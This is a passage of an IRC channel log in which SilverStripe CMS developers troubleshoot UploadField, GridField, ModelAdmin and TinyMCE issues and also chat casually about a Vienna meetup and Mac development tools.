454: [10:43:00] <Zauberfisch> r3v3rb ahh, I see, so its gonna be 250-300 pound
455: [10:43:00] <lx-berlin> but when they edit a record, they can see in UploadField the currently attached file, but no button to edit, remove, detach, ...
456: [10:43:00] <r3v3rb> or Stanys AparmentHotel ??55
457: [10:44:00] <Zauberfisch> haha r3v3rb
458: [10:44:00] <Zauberfisch> or one of those youth hotels I guess
459: [10:44:00] <lx-berlin> new try: adding "Access to 'Files' section" for these admins
460: [10:44:00] <r3v3rb> youth! I'm old enough to be their grandfathers!
461: [10:44:00] <Zauberfisch> r3v3rb you might be able to sleep at someones place, idk
462: [10:44:00] <Zauberfisch> r3v3rb public transport is good
463: [10:44:00] <r3v3rb> Zauberfisch: do I need transport or is public transport good enough?
464: [10:45:00] * samthejarvis has joined #silverstripe
465: [10:46:00] <Rastafarii> hi everyone
466: [10:46:00] * Rastafarii has joined #silverstripe
467: [10:47:00] <lx-berlin> thanks for the tip to set file access
468: [10:47:00] <lx-berlin> yep, that solved it. To use the UploadField, an admin needs "Access to 'Files' section"
469: [10:47:00] <Rastafarii> I have a problem with TimeField in SS 3.0.3
470: [10:47:00] <Rastafarii> just can't get dropdowns working
471: [10:47:00] <Rastafarii> this one doesn't work: $timeField->setConfig('showdropdown', true);
472: [10:48:00] <r3v3rb> n*
473: [10:48:00] <samthejarvis> hey all, GridField question here, is there a way to Add and Save an item with GridField? At the moment it just gives you a form for a nonexistent record, which means you can't set relations, which is not ideal.
474: [10:48:00] <r3v3rb> ot including food, taxis or women??? ;) muhahahaha
475: [10:48:00] <r3v3rb> lol, so 2 days in Vienna - Total cost ??225
476: [10:48:00] <Rastafarii> is there another way?
477: [10:49:00] <Zauberfisch> r3v3rb doesn't sound that bad
478: [10:49:00] <Zauberfisch> r3v3rb but why pound and not euro?
479: [10:52:00] <r3v3rb> Zauberfisch: ^^
480: [10:52:00] <r3v3rb> what route do you need to take Zauberfisch
481: [10:52:00] <Zauberfisch> chillu I need some help with routes, who best to ask for that?
482: [10:52:00] <r3v3rb> I am in pound land - not literally ( its a cheap shop in the UK )
483: [10:52:00] <ajshort> Zauberfisch, have you tried ?debug_request? It might provide some hints
484: [10:54:00] <Unlearned> In my template I have LimitCharacters() but it's quite ugly as I displays some random characters and cuts words, is anything like WordLimit() ?
485: [10:54:00] <r3v3rb> ps. in additition to the dropping of proto/behaviour --- many thanks for rolling Reports out of CMS and into standalone module!
486: [10:54:00] <r3v3rb> ajshort: wish i'd known about that for a site I have just built using only the framework!
487: [10:55:00] <r3v3rb> addition*
488: [10:55:00] <Zauberfisch> hmmm, ajmitch yeah, I guess I can bruteforce my way through it
489: [10:59:00] <r3v3rb> Zauberfisch: question on UploadField in CMS if I may
490: [11:00:00] * travis-ci has joined #silverstripe
491: [11:00:00] <travis-ci> [travis-ci] Change view : https://github.com/silverstripe/sapphire/compare/121fb662e6d0...1a43ad5ed3ec
492: [11:00:00] <travis-ci> [travis-ci] Build details : http://travis-ci.org/silverstripe/sapphire/builds/4638089
493: [11:00:00] * travis-ci has left #silverstripe
494: [11:00:00] <travis-ci> [travis-ci] silverstripe/sapphire#1342 (3.1 - 1a43ad5 : Ingo Schommer): The build has errored.
495: [11:01:00] * funkygibbon has joined #silverstripe
496: [11:01:00] <r3v3rb> does it work the same as the old FileField in that the record needs saving first - as when I create a new page and try to upload an image before the first saving of the page it doesn't appear to do anything
497: [11:01:00] <r3v3rb> yet, doesn't give any information that it is the case
498: [11:01:00] <lx-berlin> yes, the page needs to exist
499: [11:01:00] <samthejarvis> r3v3rb, this is a similar issue to mine
500: [11:01:00] <samthejarvis> the object it's being attached to has to exist first
501: [11:02:00] <r3v3rb> lx-berlin: ok, I'll have to ensure clients are prewarned
502: [11:02:00] <r3v3rb> would have been nice if it worked the old Uploadify way
503: [11:02:00] <r3v3rb> Zauberfisch: get to it!
504: [11:02:00] <lx-berlin> but what if you build a modeladmin for products and you want the picture to be required :)
505: [11:03:00] <lx-berlin> then there is no chance to have such a requirement validation if you need to save the record first
506: [11:04:00] <lx-berlin> of course, thats what i always do
507: [11:04:00] <Zauberfisch> idk why this warning is not there, someone broke it I guess
508: [11:04:00] <r3v3rb> :\ grrr :D
509: [11:04:00] <Zauberfisch> r3v3rb lx-berlin there should be a warning that you can not upload images until the record is saved
510: [11:04:00] <r3v3rb> nope nothing in 3.1
511: [11:04:00] <Zauberfisch> but you can "fix" it by calling $uploadfield->setRecord($this);
512: [11:05:00] <lx-berlin> wow
513: [11:05:00] * r3v3rb feels for lx-berlin
514: [11:05:00] <Zauberfisch> then the warning will be displayed
515: [11:05:00] <r3v3rb> in getCMSFields?
516: [11:05:00] <lx-berlin> anyway, back to my todays ss2.4 project :(
517: [11:05:00] <r3v3rb> :(
518: [11:05:00] <Unlearned> what's the quick method to add a filter in my page for items ? a quick way to filter through the attributes of custom object ?
519: [11:05:00] <r3v3rb> managed to switch all current projects to SS3
520: [11:06:00] <r3v3rb> lx-berlin: no old projects will stay on 2.4.8 unless they wish to upgrade
521: [11:06:00] <r3v3rb> yep, its noce lx-berlin loving the split view CMS - clients are going to go super crazy
522: [11:06:00] <lx-berlin> did your clients pay you for this upgrade ?
523: [11:06:00] <samthejarvis> *or* have an option to save the newly created object when you add it? like SiteTree?
524: [11:07:00] <Unlearned> anyone? :)
525: [11:07:00] <lx-berlin> just started searching what "noce" means :)
526: [11:07:00] * r3v3rb is king of fudgy fingers on keyboard
527: [11:07:00] <r3v3rb> noce = nice*
528: [11:07:00] <r3v3rb> lmao!
529: [11:07:00] <r3v3rb> ;)
530: [11:07:00] <lx-berlin> i see :)
531: [11:07:00] <r3v3rb> typographical error!
532: [11:08:00] <lx-berlin> argh, its already 12:08. now i have to start working
533: [11:08:00] <r3v3rb> 11:08 so i have an hour of iRC yet before I catch you up!
534: [11:10:00] <Zauberfisch> r3v3rb yes, in getCMSFields
535: [11:10:00] <Zauberfisch> r3v3rb so are you really considering comming to vienna?
536: [11:10:00] <r3v3rb> ok, I'll add it
537: [11:10:00] <r3v3rb> Zauberfisch: unfortuantely wife said - 'get real!'
538: [11:10:00] * Rastafarii quit (Ping timeout: 245 seconds)
539: [11:11:00] <r3v3rb> unfortunately* - fudgy fingers
540: [11:11:00] <r3v3rb> Zauberfisch: if my finances change before the next one - it would be cool to come over though!
541: [11:12:00] <r3v3rb> btw, love the redesigned website!
542: [11:13:00] <lx-berlin> redesigned site ?
543: [11:14:00] * ferge has joined #silverstripe
544: [11:19:00] <Zauberfisch> howardgrigg no, but that sounds awesome, I should have a look at that
545: [11:19:00] <howardgrigg> Zauberfisch: have you seen the new unsaved relation stuff in 3.1?
546: [11:20:00] <howardgrigg> Zauberfisch: http://docs.silverstripe.org/framework/en/3.1/topics/datamodel#relations-on-unsaved-objects
547: [11:39:00] <Zauberfisch> it was not routes
548: [11:39:00] <Zauberfisch> oh my god
549: [11:39:00] <Zauberfisch> I found what I was doing wrong
550: [11:39:00] <Zauberfisch> the rout was fine all along
551: [11:40:00] <Zauberfisch> omg
552: [11:40:00] <Zauberfisch> problem was, I did not use $Content in the template
553: [11:40:00] <Zauberfisch> gridfield returns the edit view like so: $controller->customize(array('Content' => $html));
554: [11:40:00] <Zauberfisch> therefore I never saw the output
555: [11:42:00] <Zauberfisch> but I can understand, I would probably also not spend 300??? just to join a meetup
556: [11:42:00] <discorpia> ouch
557: [11:42:00] <Zauberfisch> ec8or aww, to bad, would have been awesome to see you join us
558: [11:43:00] <Zauberfisch> especially when the meetup is going to be just a hand full of people
559: [11:44:00] * kinglozzer has joined #silverstripe
560: [11:46:00] * chillu quit (Quit: chillu)
561: [11:47:00] <Zauberfisch> fail
562: [11:47:00] <Zauberfisch> meant to highlight r3v3rb
563: [11:47:00] <ec8or> me? i don't think i was ever going anywhere ;)
564: [11:48:00] <Zauberfisch> sorry ec8or (:
565: [11:51:00] * Colin[pi] quit (Ping timeout: 276 seconds)
566: [12:03:00] * priithansen has joined #silverstripe
567: [12:03:00] <r3v3rb> Zauberfisch: lol
568: [12:03:00] <r3v3rb> lx-berlin: Zauberfisch has redesigned his site ;)
569: [12:04:00] <r3v3rb> wooot, lost an hour somewhere!
570: [12:06:00] * gelignite has joined #silverstripe
571: [12:07:00] * Error404NotFound quit (Ping timeout: 264 seconds)
572: [12:08:00] * ajshort quit (Quit: Leaving)
573: [12:14:00] <Zauberfisch> I have redesigned my website?
574: [12:14:00] <r3v3rb> yes
575: [12:14:00] <Zauberfisch> r3v3rb :O
576: [12:14:00] <r3v3rb> i dont remember the fishy
577: [12:14:00] <Zauberfisch> haha
578: [12:14:00] <Zauberfisch> oh, you mean zauberfisch.at?
579: [12:14:00] <r3v3rb> that big!
580: [12:15:00] <r3v3rb> is there another then?
581: [12:15:00] <Zauberfisch> well, thats like a year ago when I put the fish online
582: [12:15:00] <Zauberfisch> before it just said "zauberfisch is awesome" as text
583: [12:16:00] <Zauberfisch> but I don't like it that much, the tail is to big
584: [12:16:00] <r3v3rb> you need to get out mooooar!
585: [12:16:00] <Zauberfisch> r3v3rb yes, there is also http://farm5.staticflickr.com/4030/4268133365_27ea0841f9_z.jpg?zz=1
586: [12:16:00] <r3v3rb> lmao
587: [12:17:00] <Zauberfisch> I haven't done those my self though
588: [12:17:00] <Zauberfisch> someone drew them for me
589: [12:19:00] * Error404NotFound has joined #silverstripe
590: [12:19:00] <r3v3rb> do not view 213/282!
591: [12:19:00] <r3v3rb> interesting image when searching Zauberfisch https://www.google.co.uk/url?sa=i&rct=j&q=&esrc=s&source=images&cd=&cad=rja&docid=NfhUvsYW2OJ-sM&tbnid=ah1NR8VShkdlTM:&ved=0CAUQjRw&url=http%3A%2F%2Fhome.fotocommunity.de%2Fcarlosb%2Findex.php%3Fid%3D1142154%26d%3D28078522&ei=m5sTUeeqIIWbtQa5koDQBw&bvm=bv.42080656,d.Yms&psig=AFQjCNGp7V2SF0_4JAV-NF5sLvRQyzLNnw&ust=1360325852035286
592: [12:19:00] <Zauberfisch> this is disturbing^^
593: [12:20:00] <Zauberfisch> anyway
594: [12:20:00] <Zauberfisch> man, I love the gridfield! this is going to be awesome
595: [12:20:00] <Zauberfisch> one will not belive that this is a gridfield once I am done
596: [12:21:00] <r3v3rb> don't forget to let us see!
597: [12:21:00] <r3v3rb> omg, this artist is f---ed up: http://home.fotocommunity.de/carlosb/index.php?id=1142154&d=27980200
598: [12:25:00] * patJnr has joined #silverstripe
599: [12:30:00] * Error404NotFound quit (Ping timeout: 276 seconds)
600: [12:32:00] <lx-berlin> Zauberfisch: any chance to get a sneek preview screenshot ?
601: [12:35:00] * zfmf has joined #silverstripe
602: [12:39:00] * Marvanni has joined #silverstripe
603: [12:40:00] * r3v3rb quit (Quit: r3v3rb)
604: [12:42:00] * Error404NotFound has joined #silverstripe
605: [12:42:00] * samthejarvis quit (Quit: Page closed)
606: [12:45:00] * howardgrigg quit (Remote host closed the connection)
607: [12:45:00] * howardgrigg has joined #silverstripe
608: [12:49:00] * howardgrigg quit (Ping timeout: 248 seconds)
609: [12:50:00] * Marvanni has left #silverstripe
610: [12:51:00] <Zauberfisch> but maybe tomorrow
611: [12:51:00] <Zauberfisch> or on monday
612: [12:51:00] <Zauberfisch> lx-berlin no preview yet
613: [12:54:00] <lx-berlin> cool
614: [13:00:00] * EPIK quit (Ping timeout: 252 seconds)
615: [13:06:00] * UndefinedOffset has joined #silverstripe
616: [13:11:00] <kinglozzer> Zauberfisch: Just skim-reading, you're doing some styling on Gridfield? Is it for front-end or back-end?
617: [13:12:00] <Zauberfisch> frontend
618: [13:12:00] * hubertusanton quit (Remote host closed the connection)
619: [13:12:00] <Zauberfisch> on this project I am not using cms, only framework and building my own backend
620: [13:12:00] <Zauberfisch> well, actually backend, but its a self made backend
621: [13:13:00] <kinglozzer> Ah awesome
622: [13:13:00] <Zauberfisch> so it is actually backend, but it is like makeing it work on frontend
623: [13:13:00] <kinglozzer> Can't wait to see it :)
624: [13:16:00] <Zauberfisch> I myself am pretty excited, yesterday night and today morning I was close to giving up on gridfield and just building a table by hand and hacking some JS together
625: [13:18:00] * marvanni has joined #silverstripe
626: [13:19:00] <marvanni> Should adding images with the tinymce editor in Modeladmin work?
627: [13:24:00] <marvanni> nvm https://github.com/silverstripe/sapphire/commit/f0f5dcb966da9123e88dc1f8acc71065cfd7c8d8
628: [13:26:00] <marvanni> hm not really
629: [13:33:00] <marvanni> hm, that makes modeladmin with timymce pretty useless...
630: [13:36:00] <marvanni> Line 344 in /home/martijn/mediaweb/dekker/htdocs/framework/core/Core.php
631: [13:36:00] <marvanni> is this message normal for he image editor whatever i try to do i get this message:
632: [13:36:00] <marvanni> ERROR [User Error]: singleton() Called without a class
633: [13:36:00] <marvanni> IN GET /admin/siteblockadmin/SiteBlock/EditorToolbar/viewfile?locale=nl_NL&ID=17
634: [14:13:00] <kinglozzer> marvanni: Yes, it does work in ModelAdmin
635: [14:13:00] <marvanni> it should work by default?
636: [14:14:00] <kinglozzer> Yes
637: [14:14:00] <kinglozzer> What version are you using?
638: [14:17:00] <UndefinedOffset> marvanni i've fixed this in 3.0.3 using a ugly hack... one sec
639: [14:18:00] <marvanni> tried some later added github adds, but none seem to work
640: [14:18:00] <marvanni> ilverStripe CMS v3.0.3
641: [14:19:00] <marvanni> is tried that...
642: [14:19:00] <UndefinedOffset> i've used it on two sites now and it seems to work for the most part
643: [14:19:00] <UndefinedOffset> marvanni http://www.sspaste.com/paste/show/5113b7cb07be5 ugly :P but it seems to work
644: [14:20:00] <marvanni> it works to popup the image sreen, but when I try to add an image from CMS or Upload I get the Called without a Class message
645: [14:21:00] <marvanni> let me try...
646: [14:25:00] <marvanni> thanks dude !!! saved my holiday :)
647: [14:26:00] <UndefinedOffset> :)
648: [14:27:00] <UndefinedOffset> np
649: [14:41:00] * I-Chito has joined #silverstripe
650: [14:41:00] * I-Chito quit (Client Quit)
651: [14:43:00] * patJnr quit (Ping timeout: 255 seconds)
652: [15:04:00] * Nivery has joined #silverstripe
653: [15:22:00] * lx-berlin has left #silverstripe
654: [15:24:00] * lx-berlin has left #silverstripe
655: [15:24:00] * lx-berlin has joined #silverstripe
656: [15:31:00] * henkpoley has joined #silverstripe
657: [15:32:00] * gelignite quit (Quit: http://bit.ly/nkczDT)
658: [15:36:00] * kinglozzer quit (Ping timeout: 257 seconds)
659: [15:39:00] * kinglozzer has joined #silverstripe
660: [15:43:00] * mattybalaam has joined #silverstripe
661: [15:43:00] <mattybalaam> A quick gridfield question. I have some SS 2 code using DOM: new ImageDataObjectManager($this->owner, $relTitle, $relName);
662: [15:43:00] <mattybalaam> What am I doing wrong here: new GridField('ColoursSwatch','Colours Swatches', $this->owner->ColoursSwatch(), GridFieldConfig_RelationEditor::create()))
663: [15:44:00] <mattybalaam> Sorry, that should be: new GridField($relName, $relTitle, $this->owner->$relName(), GridFieldConfig_RelationEditor::create())
664: [15:46:00] * scpi has joined #silverstripe
665: [15:47:00] <mattybalaam> class ColoursSwatch extends Swatch { public static $belongs_many_many = array( 'Galleries' => 'GalleryPage' ); }
666: [15:47:00] <mattybalaam> Error I get is: Object->__call(): the method 'coloursswatch' does not exist on 'SiteConfig'
667: [15:49:00] * ARNHOFF quit (Quit: ( www.nnscript.com :: NoNameScript 4.22 :: www.esnation.com ))
668: [16:00:00] * ferge has left #silverstripe
669: [16:05:00] * catcher has joined #silverstripe
670: [16:24:00] * marvanni quit (Quit: marvanni)
671: [16:24:00] * david has joined #silverstripe
672: [16:26:00] <mattybalaam> This fixed my problem: new GridField($relName, $relTitle, $relName::get(), $conf)
673: [16:28:00] <zfmf> how can i get the url params in a dataobject onbeforewrite??
674: [16:40:00] * david quit (Remote host closed the connection)
675: [16:41:00] <catcher> zfmf, Controller::curr()->getURLParams();
676: [16:44:00] <zfmf> in modeladmin i have customer and licences, when i click to a customer and click add licence button, then i have to choose the customer from adropdown but the customer id is also in the url, is there a way to get this id and set automatically on beforewrite
677: [16:44:00] <zfmf> catcher: thanks
678: [16:46:00] <zfmf> Controller::curr()->getURLParams(); i get only modelclass and action part from the url
679: [16:50:00] <catcher> zfmf, I think you will indeed need to grab that from the URL. I'd choose something from $_SERVER[]; and get to regexing.
680: [16:57:00] <zfmf> hmm is there not a easy way :D
681: [17:02:00] * henkpoley quit (Quit: henkpoley)
682: [17:06:00] * kinglozzer quit (Remote host closed the connection)
683: [17:16:00] <catcher> zfmf, haven't tried it myself, but I remember someone else here looking for something similar.
684: [17:17:00] <catcher> I'm relatively sure there wasn't an easy way.
685: [17:18:00] * mattybalaam quit (Quit: Page closed)
686: [17:25:00] * gelignite has joined #silverstripe
687: [17:31:00] * simon_w|air has joined #silverstripe
688: [17:48:00] * henkpoley has joined #silverstripe
689: [18:00:00] * simon_w|air quit (Quit: This computer has gone to sleep)
690: [18:02:00] * chillu has joined #silverstripe
691: [18:04:00] * theorytank has joined #silverstripe
692: [18:08:00] <theorytank> Is there a straight forward way to get a list of the classes that have been decorated by a certain Extenstion?
693: [18:09:00] <theorytank> *Extension
694: [18:12:00] <theorytank> ok.. looping through all Objects it is. Ugh
695: [18:13:00] <FrozenFire> Heh. And that's not even sure-fire.
696: [18:13:00] <FrozenFire> Because extensions are technically applied on the instance level, sfaik
697: [18:14:00] <FrozenFire> Ah. Nevermind on that.
698: [18:14:00] <FrozenFire> Hrmm, maybe... maybe not.
699: [18:15:00] <FrozenFire> Yeah, but you'll not want to use that
700: [18:15:00] <theorytank> it "seems" that there's a static "extensions" var set.. testing that theory now.
701: [18:15:00] <FrozenFire> Use hasExtension
702: [18:16:00] <theorytank> ya.. for sure. But just saying that it doesn't have to be instantiated to be "detected"
703: [18:16:00] <theorytank> I tried some of the hooks on the extension itself but they only get fired on creation of the object
704: [18:16:00] <FrozenFire> Well, I think you can apply an extension after the instantiation, but it's probably a bad idea
705: [18:17:00] <FrozenFire> That being said, I'd strongly recommend against iterating all classes.
706: [18:17:00] <FrozenFire> Yeah. I don't think Extensions can reasonably track which objects they're on
707: [18:18:00] <FrozenFire> There will be a major performance loss because you'll nullify lazy autoloading
708: [18:20:00] <theorytank> it's just a background task to re-index a SOLR instance from scratch. more for testing than real-life.
709: [18:23:00] <FrozenFire> I've shit on my schema hard through the development of this project, due to a number of factors
710: [18:23:00] <FrozenFire> Anyone happen to have developed a tool equivalent to DB plumber? I know it's... less than ideal a thing to use, but I need some way to determine which parts of my schema can be dropped.
711: [18:26:00] * FrozenFire mulls the possibility that he'll have to write Versioned from scratch
712: [18:26:00] <FrozenFire> Maybe I'll call it History
713: [18:27:00] <theorytank> that would be handy though
714: [18:28:00] <FrozenFire> Which one?
715: [18:30:00] <theorytank> the DB Plumber idea. I'm constantly cleaning up
716: [18:32:00] * slith1 quit (Client Quit)
717: [18:32:00] * slith1 has joined #silverstripe
718: [18:37:00] <catcher> Anyone experience a modeladmin error when trying to use TinyMCE on an HTMLEditorField that belongs to an object administered by modeladmin?
719: [18:38:00] <catcher> i.e. SidebarAdmin -> Sidebar, Sidebar has_many VideoWidgets, VideoWidget $db = array('Content' => 'HTMLText');
720: [18:40:00] <catcher> I can even edit the field via the 'html' button, but Image & Link buttons are broke as a joke.
721: [18:40:00] <FrozenFire> What error?
722: [18:41:00] <catcher> IN GET /local.mysite/admin/Sidebar/EditorToolbar/LinkForm/forTemplate
723: [18:41:00] <catcher> ERROR [User Error]: ModelAdmin::init(): Invalid Model class
724: [18:41:00] * Nivery quit (Quit: Nivery)
725: [18:41:00] <catcher> Line 115 in /var/www/vhosts/local.mysite/framework/admin/code/ModelAdmin.php
726: [18:42:00] <catcher> Sidebar has_many VideoWidgets, VideoWidget has_one Sidebar
727: [18:43:00] <FrozenFire> Is Sidebar a WidgetHolder?
728: [18:44:00] <FrozenFire> ModelAdmin's url_segment is Sidebar?
729: [18:44:00] <catcher> I have the same issue on 2 other sites, with assorted custom objects.
730: [18:44:00] <FrozenFire> Well, I'm confused a fair bit by your URL there.
731: [18:44:00] <catcher> No, this is all custom. Sidebar is a DataObject.
732: [18:45:00] <catcher> SidebarAdmin's url_seg is Sidebar, yep
733: [18:45:00] <FrozenFire> And SidebarAdmin has EditorToolbar as a managed model?
734: [18:47:00] <catcher> No..
735: [18:47:00] <catcher> SidebarAdmin has Sidebar as a managed model
736: [18:47:00] <catcher> Although, changing the name of the url might actually be getting me somewhere.
737: [18:47:00] <catcher> changing the url, rather
738: [18:49:00] * chillu23 has joined #silverstripe
739: [18:49:00] * chillu23 has joined #silverstripe
740: [18:49:00] * chillu quit (Read error: No route to host)
741: [18:49:00] * chillu23 is now known as chillu
742: [18:49:00] * chillu23 quit (Changing host)
743: [18:50:00] <FrozenFire> The "Action" of ModelAdmin is the model to manage
744: [18:50:00] <FrozenFire> catcher, Yeah. It's trying to manage EditorToolbar
745: [18:54:00] * FrozenFire hates how retarded DropdownField is with large sources
746: [18:54:00] <FrozenFire> In the CMS, that is
747: [18:54:00] <FrozenFire> Crashes the browser
748: [18:55:00] <FrozenFire> Can I disable it?
749: [18:55:00] <simon_w> Yay, choosen!
750: [18:57:00] <simon_w> $field->addExtraClass('no-chzn')
751: [18:58:00] <simon_w> Of course it does
752: [18:58:00] <FrozenFire> Oh lovely. Fucks the design
753: [18:59:00] * FrozenFire thinks of a better way to handle 4900 possible selections
754: [18:59:00] * henkpoley quit (Quit: henkpoley)
755: [18:59:00] <simon_w> Yeah, dropdown really isn't suited for that :p
756: [19:00:00] <FrozenFire> Not much way else. :P
757: [19:00:00] <simon_w> There's that thing that looks like a chosen dropdown that GridField can use that goes and grabs (at most) 100 items back from the server
758: [19:01:00] <FrozenFire> Yeah. That sounds like work.
759: [19:01:00] <FrozenFire> :P
760: [19:01:00] <FrozenFire> Also has to degrade
761: [19:02:00] <catcher> This makes my day. Thanks.
762: [19:02:00] <simon_w> If it's in the CMS, why?
763: [19:03:00] <simon_w> Oh, you're screwed :p
764: [19:03:00] <FrozenFire> CMS and front-end.
765: [19:03:00] <FrozenFire> If I'm going to solve this, I'm going to solve it both. ;)
766: [19:12:00] * mobiusnz has joined #silverstripe
767: [19:14:00] <catcher> Hrm, still the same error:
768: [19:14:00] <catcher> ERROR [User Error]: ModelAdmin::init(): Invalid Model class
769: [19:14:00] <catcher> IN GET /local.mysite/admin/SidebarAdmin/EditorToolbar/MediaForm/forTemplate
770: [19:14:00] <catcher> Line 115 in /var/www/vhosts/local.mysite/framework/admin/code/ModelAdmin.php
771: [19:15:00] <catcher> UndefinedOffset, indeed, I'll have a look, thanks
772: [19:15:00] * oddnoc has joined #silverstripe
773: [19:15:00] <UndefinedOffset> catcher did you try the solution i posted earlier? http://www.sspaste.com/paste/show/5113b7cb07be5 its ugly but it works :) 3.0.3 i assume?
774: [19:16:00] <UndefinedOffset> like i said ugly but it works, supposibly the issue is fixed in 3.0.4
775: [19:16:00] <UndefinedOffset> lol
776: [19:16:00] <catcher> wow, really?
777: [19:17:00] * Stomach has joined #silverstripe
778: [19:17:00] <catcher> UndefinedOffset, well cheers, ty
779: [19:17:00] <UndefinedOffset> np
780: [19:18:00] <catcher> is 3.0.3 still stable? Or was 3.0.4 released stable?
781: [19:18:00] <simon_w> What does the topic say?
782: [19:19:00] <simon_w> (And doing a new release doesn't suddenly make an old release unstable)
783: [19:19:00] <catcher> ah, right, topic
784: [19:21:00] <UndefinedOffset> open.silverstripe.org shows 3.0.4 scheduled for the 18th but i doubt it's set in stone ;)
785: [19:22:00] * DigNZ has joined #silverstripe
786: [19:22:00] * theorytank quit (Quit: Page closed)
787: [19:22:00] * DigNZ quit (Remote host closed the connection)
788: [19:23:00] * DigNZ has joined #silverstripe
789: [19:25:00] <catcher> UndefinedOffset, seems to be working great, thanks again
790: [19:27:00] * instabil2 quit (Read error: Connection reset by peer)
791: [19:35:00] <oddnoc> Gah, doc.silverstripe.org is down :(
792: [19:36:00] <simon_w> Or is it? DUN DUN DUN
793: [19:37:00] * Bollig|DesignCty has joined #silverstripe
794: [19:39:00] * nickmolhoek has joined #silverstripe
795: [19:39:00] * nickmolhoek has joined #silverstripe
796: [19:39:00] * nickmolhoek quit (Remote host closed the connection)
797: [19:43:00] * ARNHOFF has joined #silverstripe
798: [19:47:00] * mobiusnz quit (Quit: Leaving.)
799: [19:47:00] * mobiusnz has joined #silverstripe
800: [19:56:00] * Pyromanik has joined #silverstripe
801: [19:57:00] * oddnoc quit (Quit: sleeping...)
802: [19:58:00] * Shrike_Finland has joined #silverstripe
803: [19:59:00] <travis-ci> [travis-ci] silverstripe/sapphire#1348 (3.1 - 8b50e32 : Ingo Schommer): The build has errored.
804: [19:59:00] * travis-ci has joined #silverstripe
805: [19:59:00] <travis-ci> [travis-ci] Change view : https://github.com/silverstripe/sapphire/compare/1a43ad5ed3ec...8b50e32f65c9
806: [19:59:00] <travis-ci> [travis-ci] Build details : http://travis-ci.org/silverstripe/sapphire/builds/4648664
807: [19:59:00] * travis-ci has left #silverstripe
808: [20:04:00] * Shrike_Finland1 has joined #silverstripe
809: [20:07:00] * CodeTrap has joined #silverstripe
810: [20:08:00] * Shrike_Finland quit (Ping timeout: 260 seconds)
811: [20:11:00] * CodeTrap quit (Client Quit)
812: [20:17:00] * willr_ has joined #silverstripe
813: [20:18:00] <Unlearned> on 2.4 I have a form submit action and would like to grab some data using DataObject::get() and display it on some template, how is this done ?
814: [20:19:00] <Unlearned> however.. I implemented kinda filtering/search
815: [20:19:00] <willr_> Unlearned done the tutorials?
816: [20:19:00] <willr_> the forms tutorial will explain how to process a form
817: [20:19:00] <Unlearned> http://www.silverstripe.org/ is down :(
818: [20:19:00] <Unlearned> yeah, I know how to process it
819: [20:20:00] <willr_> Distrubuted documentation FTW https://github.com/silverstripe/sapphire/tree/3.0/docs/en
820: [20:20:00] <Unlearned> willr_ great!
821: [20:20:00] <Unlearned> a custom one and now have the data ready but don't know how to put it inside a template and show it to user
822: [20:21:00] <willr_> well you'll have your process function. The you can return $this->customise(new ArrayData(array('YourObj' => $obj)))->renderWith('TemplateName'); and define your TemplateName.ss
823: [20:22:00] <Pyromanik> I always just pass a vanilla array :<
824: [20:22:00] <Pyromanik> arraydata willr_?
825: [20:23:00] <willr_> true. Either works
826: [20:23:00] <Pyromanik> just return that DataObjectSet
827: [20:23:00] <Unlearned> well.. what I should pass as my results are what DataObject::get() returned? :)
828: [20:24:00] <Pyromanik> extra e for extremely awesome.
829: [20:24:00] <Pyromanik> mmm beeer
830: [20:24:00] <Unlearned> will check it out and will buy a beer once back
831: [20:24:00] <Unlearned> Pyromanik, that's! Did that half a year ago, but forgot :) great
832: [20:24:00] <Pyromanik> return array('ControlVar' => $thatDOS);
833: [20:25:00] <Pyromanik> simon_w: is that ss.org update finally coming out?
834: [20:25:00] <Pyromanik> (of the closet?)
835: [20:25:00] <Unlearned> :D
836: [20:25:00] <Pyromanik> twit?
837: [20:25:00] <simon_w> And?
838: [20:25:00] <Pyromanik> you have the twitters!
839: [20:25:00] <simon_w> Pyromanik, how am I supposed to know?
840: [20:26:00] <Pyromanik> @Silverstripe Attn: KS - how am I supposed to read a new blog post if I can't even .org?
841: [20:26:00] <simon_w> Brooke hasn't tweeted anything
842: [20:27:00] <Pyromanik> it's cold.
843: [20:27:00] <Pyromanik> And I never got a shirt!
844: [20:27:00] <Pyromanik> oh :(
845: [20:27:00] <simon_w> Kerstin's left
846: [20:27:00] <simon_w> So complain to Brooke :p
847: [20:27:00] * Pyromanik strokes his bare chest
848: [20:28:00] <Pyromanik> hahaha
849: [20:28:00] <Pyromanik> I suppose so
850: [20:28:00] <Pyromanik> she designed them didn't she?
851: [20:28:00] <Pyromanik> or am I confused
852: [20:28:00] <simon_w> You're probably confused
853: [20:28:00] <simon_w> She did the voice over for the Maori announcement video
854: [20:28:00] <Pyromanik> chances are high.
855: [20:28:00] <Pyromanik> in Maori?
856: [20:28:00] <Pyromanik> cool
857: [20:31:00] <Pyromanik> follow instructions
858: [20:31:00] <Pyromanik> because you didn't
859: [20:31:00] <Unlearned> tried just to return Array('myvar', DataObject::get('page')); but got fail: ViewableData->customise(): $data must be an associative array or a ViewableData instance
860: [20:32:00] <Pyromanik> (hint: it's that comma)
861: [20:32:00] <Unlearned> actually didn't think a lot, just following blindly
862: [20:32:00] <Unlearned> damn
863: [20:32:00] <ARNHOFF> What are the must have tools on a mac os x?
864: [20:32:00] <Unlearned> damn
865: [20:32:00] <Unlearned> it's a god damn associative array, shame on me
866: [20:32:00] <Pyromanik> look closely, you'll see what you did :P
867: [20:33:00] <ARNHOFF> yeah, I am using sublime already awesome program.
868: [20:33:00] <Pyromanik> Sublime Text 2 seems to be the go to
869: [20:33:00] <ARNHOFF> haha :D
870: [20:33:00] <Pyromanik> mamp seems to be popular because masochists.
871: [20:33:00] <Unlearned> Pyromanik you helped me two days in a row. It works and simply rocks! Danke schon
872: [20:33:00] <simon_w> hehe. mamp
873: [20:33:00] <Pyromanik> lolololol
874: [20:33:00] <Pyromanik> ARNHOFF: windows.
875: [20:33:00] <ARNHOFF> when talking about coding silverstripe, scss etc
876: [20:33:00] <Pyromanik> indeed :P
877: [20:34:00] <simon_w> I use the version of Apache and PHP that Apple provides on one laptop
878: [20:34:00] <Pyromanik> masochists and morons programming
879: [20:34:00] <ARNHOFF> no mamp? I did find something about that, but I also read about the mac os x apache ?
880: [20:34:00] <Pyromanik> dunno
881: [20:34:00] <Pyromanik> ask simon_w, he's a mac man
882: [20:34:00] * lx-berlin has joined #silverstripe
883: [20:35:00] <ARNHOFF> you use virtual hosts aswell ?
884: [20:35:00] <simon_w> Just gotta install MySQL yourself, uncomment a line in httpd.conf and allow overrides
885: [20:35:00] <simon_w> yup
886: [20:36:00] <ARNHOFF> oke, perfect is a tool as, http://incident57.com/codekit/ overrated? Or you don't know this tool?
